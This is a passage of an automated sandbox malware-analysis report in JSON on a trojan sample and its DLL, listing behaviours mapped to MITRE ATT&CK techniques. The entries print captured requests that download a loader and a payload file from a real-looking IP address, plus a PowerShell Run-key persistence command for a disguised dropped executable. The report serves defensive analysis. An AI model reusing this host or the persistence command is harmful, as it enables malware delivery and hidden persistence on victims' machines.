\"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-288","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"[Parameter(ParameterSetName='ShowWindow', Mandatory=$true)]\" (Indicator: \"ShowWindow\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found reference to API \"${ShowWindow})\" (Indicator: \"ShowWindow\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"Found string \"Start-Process\" (Indicator: \"Start-Process\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains ability to start services (Powershell command string)","description":"Found string \"Start-Service\" (Indicator: \"Start-Service\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-332","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"\"Protect544cd51a.dll\" contains export function called \"P0\" at ordinal 1","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.133516639355158959.3364.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /zima.php?mine=loader HTTP/1.1\nHost: 185.172.128.87\nConnection: Keep-Alive\" Response ==> HTTP/1.1 404 Not Found\nDate: Mon\n 05 Feb 2024 19:32:27 GMT\nServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12\nContent-Length: 300\nKeep-Alive: timeout=5\n max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A.......\n \"GET /recovery.dat HTTP/1.1\nHost: 185.172.128.87\" Response ==> HTTP/1.1 200 OK\nDate: Mon\n 05 Feb 2024 19:32:43 GMT\nServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12\nLast-Modified: Thu\n 11 Jan 2024 17:22:23 GMT\nETag: \"4ba4b0-60eaeca6f812a\"\nAccept-Ranges: bytes\nContent-Length: 4957360 with response body ==>4C6F1B72C4A1209FF8463EE6F7A4C346CBC5CE176376C4C4E837FF0AFAF9455F1B077D063E46B9225AE68F94D4AAA3B15FAF2A09D880ABA9FEC2F777549480D1.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"a9399.Trojan.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 739D0000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\amsi.dll\" at 739D0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"$45","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"Protect544cd51a.dll\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"Protect544cd51a.dll\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"Protect544cd51a.dll\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"Protect544cd51a.dll\" file has an entrypoint instructions - \"mov\tedi, edi,push\tebp,mov\tebp, esp,cmp\tdword ptr [ebp + 0xc], 1,jne\t0x1006a515,call\t0x1006fe93,push\tdword ptr [ebp + 8],mov\tecx, dword ptr [ebp + 0x10],mov\tedx, dword ptr [ebp + 0xc],call\t0x1006a40f,pop\tecx,pop\tebp,ret\t0xc,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,push\tebp,mov\tebp, esp,push\tedi,push\tesi,mov\tesi, dword ptr [ebp + 0xc],mov\tecx, dword ptr [ebp + 0x10],mov\tedi, dword ptr [ebp + 8],mov\teax, ecx,mov\tedx, ecx,add\teax, esi,cmp\tedi, esi,jbe\t0x1006a550,cmp\tedi, eax,jb\t0x1006a6f0,cmp\tecx, 0x80,jb\t0x1006a574,cmp\tdword ptr [0x100ad858], 0,je\t0x1006a574,push\tedi,push\tesi,and\tedi, 0xf,and\tesi, 0xf,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a webserver","description":"\"GET /zima.php?mine=loader HTTP/1.1\nHost: 185.172.128.87\nConnection: Keep-Alive\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"$47","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/update instances of WMI classes (Powershell command string)","description":"Found string \"Set-WMIInstance\" (Indicator: \"Set-WmiInstance\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1546.003","relevance":1,"id":"string-336","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to background jobs (Powershell command string)","description":"Found string \"Get-Job\" (Indicator: \"Get-Job\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Stop-Job\" (Indicator: \"Stop-Job\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Wait-Job\" (Indicator: \"Wait-Job\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Resume-Job\" (Indicator: \"Resume-Job\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Remove-Job\" (Indicator: \"Remove-Job\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Receive-Job\" (Indicator: \"Receive-Job\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Start-Job\" (Indicator: \"Start-Job\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Debug-Job\" (Indicator: \"Debug-Job\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1197","relevance":1,"id":"string-375","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"a9399.Trojan.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"References PATH environment registry keys","description":"Found string \"System\\CurrentControlSet\\Control\\Session Manager\\Environment\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\Environment\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"HKEY_CURRENT_USER\\Environment\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1574.007","relevance":1,"id":"string-530","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"a9399.Trojan.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\a9399.Trojan.exe.log\"\n \"a9399.Trojan.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\a9399.Trojan.exe.log\"\n \"powershell.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"\n \"powershell.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /zima.php?mine=loader\"\n Found http requests in header \"GET /recovery.dat\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to copy items (Powershell command string)","description":"Found string \"Copy-ItemProperty\" (Indicator: \"Copy-ItemProperty\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-377","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"Found string \"Invoke-WebRequest\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to move items (Powershell command string)","description":"Found string \"Move-ItemProperty\" (Indicator: \"Move-ItemProperty\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-378","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"Observed string: \"curl\" (Indicator: \"curl\") in Source: 00000000-00003364.00000000.67158.05250000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$48","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Network Related","name":"Tries to move items using PowerShell","description":"Process \"powershell.exe\" with commandline \"Remove-ItemProperty-Path'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'-Name'Automating_the_cleaning_actionsApp';New-ItemProperty-Path'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'-Name'Automating_the_cleaning_actionsApp' -Value '\"%LOCALAPPDATA%\\\\Automating_the_cleaning_actionsApp\\\\Automating_the_cleaning_actionsApp.exe\"' -PropertyType 'String'\" (UID: 00000000-00003364)","origin":"Monitored Target","mitre_attack_id":"T1570","relevance":3,"id":"target-440","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on file \"Protect544cd51a.dll\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detect powershell file matched on process \"00000000-00003364\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to receive remote commands (Powershell command string)","description":"Found string \"Enable-PSRemoting\" (Indicator: \"Enable-PSRemoting\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-289","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Remote Access Related","name":"Contains reference to remote powershell session activity (Powershell command string)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1021.006","relevance":1,"id":"string-154","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00003364)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"a9399.Trojan.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00003364)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$4a","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00003364.00000000.67158.00891000.00000002.mdmp\")\n Found reference to API \"11189027318,1276,3112,,FindFirstFileW,kernel32.dll,\"00:17:29.328\",RX=0,PX=0\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00003364.00000000.67158.07840000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00003364.00000000.67158.00891000.00000002.mdmp\")\n Found reference to API \"RegGetValueW\" (Indicator: \"RegGetValue\"; Source: \"00000000-00003364.00000000.67158.00891000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00003364.00000000.67158.00891000.00000002.mdmp\")\n Found reference to API \"RegEnumKeyExW\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00003364.00000000.67158.00891000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve event logs (Powershell command string)","description":"Found string \"PowerShell -Command {Get-EventLog -LogName security}\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"PowerShell -Command \"& {Get-EventLog -LogName security}\"\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-300","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"where the quotation marks indicate a string and the invoke operator (&)\" (Indicator: \"where \"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"11100762286,1276,3025,,RtlGetNtProductType,NTDLL.dll,\"00:17:29.281\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00003364.00000000.67158.07840000.00000004.mdmp\")\n Found reference to API \"11203731180,1276,3025,,RtlGetNtProductType,NTDLL.dll,\"00:17:29.328\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00003364.00000000.67158.07840000.00000004.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003364.00000000.67158.6F5A5000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve processes (Powershell command string)","description":"Found string \"Get-Process\" (Indicator: \"Get-Process\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-291","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00003364.00000000.67158.6F591000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: Protect544cd51a.dll]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"Found string \"Set-ItemProperty\" (Indicator: \"Set-ItemProperty\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-367","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete a property and its value from an item (Powershell command string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-369","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"System Security","name":"Contains ability to retrieve credential objects (Powershell command string)","description":"Found string \"Get-Credential\" (Indicator: \"Get-Credential\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1003","relevance":1,"id":"string-340","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop a service (Powershell command string)","description":"Found string \"Stop-Service\" (Indicator: \"Stop-Service\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-274","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate services/features (Powershell command string)","description":"Found string \"Disable-PSBreakpoint\" (Indicator: \"Disable-PSBreakpoint\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Stop-Process\" (Indicator: \"Stop-Process\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Disable-PSRemoting\" (Indicator: \"Disable-PSRemoting\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-371","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to redirect output to specified device/utility (Powershell command string)","description":"Found string \"Out-Default\" (Indicator: \"Out-Default\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Out-File\" (Indicator: \"Out-File\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Out-Null\" (Indicator: \"Out-Null\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Out-String\" (Indicator: \"Out-String\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \".ForwardHelpTargetName Out-String\" (Indicator: \"Out-String\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Out-Host\" (Indicator: \"Out-Host\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Out-GridView\" (Indicator: \"Out-GridView\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")\n Found string \"Out-Printer\" (Indicator: \"Out-Printer\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-373","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to run commands from session history (Powershell command string)","description":"Found string \"Invoke-History\" (Indicator: \"Invoke-History\"; Source: \"00000000-00003364.00000000.67158.05250000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-347","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"Automating_the_cleaning_actionsApp.exe\" - Location: [%LOCALAPPDATA%\\Automating_the_cleaning_actionsApp\\Automating_the_cleaning_actionsApp.exe]- [targetUID: 00000000-00001040]\n Dropped file: \"powershell.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log]- [targetUID: 00000000-00003364]\n Dropped file: \"a9399.Trojan.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\a9399.Trojan.exe.log]- [targetUID: 00000000-00001040]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00003364]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"Protect544cd51a.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick 